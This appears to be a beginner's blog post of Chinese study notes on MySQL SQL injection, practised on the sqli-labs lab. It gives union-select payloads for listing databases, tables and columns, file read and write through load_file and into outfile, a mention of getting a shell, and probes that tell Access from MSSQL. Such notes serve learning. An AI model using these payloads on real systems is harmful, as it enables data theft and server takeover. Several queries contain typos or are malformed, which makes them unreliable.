初学MySQL的笔记

1.信息收集:报错页面的数字是啥,就在相对应的数字位置进行替代获取信息

(1)操作系统(@@version_compile_os)

(2)数据库名(table_achema)

例:select SCHEMA_NAME from INDORMATION_SCHEMATA

或 http://127.0.0.1:8080/sqlilabs/Less—2/?id=-1 union select 1, group_concat(schema_name),3 from information_schema.schemata

(3)表名(table_name)

例:select TABLE_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA=(select DATABASE())

或http://127.0.0.1:8080/sqlilabs/Less—2/?id=-1 union select 1, group_concat(schema_name),3 from information_schema.schemata. tables where table_schema='qqyw'

(4)列名(column_name)

例:select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'或http://127.0.0.1:8080/sqlilabs/Less—2/?id=-1 union select 1, group_concat(schema_name),3 from information_schema.columns where table_name='admin'

(5)数据库用户(user()):可以看权限的高低

(6)数据库版本(version())

2.数据注入

(1)低版本(5.0以下):暴力查询或结合读取查询(字典或读取)

(2)高版本(5.0以上):information_schema有据查询

3.高权限注入

(1)常规查询

(2)跨库查询(利用注入进行跨数据库查询)

4.文件读写(利用注入进行文件读取或写入)

(1)文件读写操作:

load_file:读取函数

注:文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet 字节(默认为16MB,最大为1GB)

into outfile或into dumpfile:导出函数

两者区别:dumpfile适用于二进制文件,它会将目标文件写入同一行,而outfile则更适用于文本文件。

(2)getshell

若存在魔术引号(magic_quotes_gpc)

编码或字节绕过

magic_quotes_gpc=on时,输入数据中含单引号(‘)、双引号(“)、反斜线(\)、与NULL等字符,都会被加上反斜线。

(3)路径获取常见方法

a.报错显示

在注入点后直接加上单引号,当报错信息为MICROSOFT JET DATABASE ENGINE 错误 80040e14,说明是通过JET引擎连接数据库,该注入点所连接的数据库类型为ACCESS数据库。如果是ODBC的话,就说明数据库是MSSQL数据库。

在注入后加上;--(一个分号,两个横线)例如:http://******id=12;--提交,如果这个页面返回正常,则该数据库为MSSQL,如果报错,则为ACCESS数据库。

用and exists (select count(*) from sysobjects)和and exists (select count(*) from msysobjects)来判断,如果每一条返回都正常,那就是MSSQL数据库,如果两条都不正常,那就是ACCESS数据库。

b.遗留文件

c.漏洞报错

d.平台配置文件

e.爆破等

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值